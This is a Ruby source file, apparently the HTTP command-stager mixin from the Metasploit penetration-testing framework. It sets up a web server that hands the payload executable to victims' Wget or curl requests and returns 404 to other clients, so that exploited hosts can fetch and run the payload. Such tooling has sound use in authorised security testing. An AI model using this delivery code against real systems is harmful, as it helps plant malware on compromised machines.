# -*- coding: binary -*-

require 'msf/core/exploit/tcp_server'
require 'msf/core/exploit/http/server'

module Msf::Exploit::CmdStager
module Http

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Stance' => Msf::Exploit::Stance::Aggressive
    ))
  end

  def start_service(opts = {})
    datastore_ssl = datastore['SSL']
    datastore['SSL'] = !!opts[:ssl]

    super

    payload_uri = get_uri
    datastore['SSL'] = datastore_ssl

    payload_uri
  end

  def on_request_uri(cli, request)
    if request['User-Agent'] =~ /^(?:Wget|curl)/
      send_response(cli, exe)
    else
      send_not_found(cli)
    end
  end

end
end
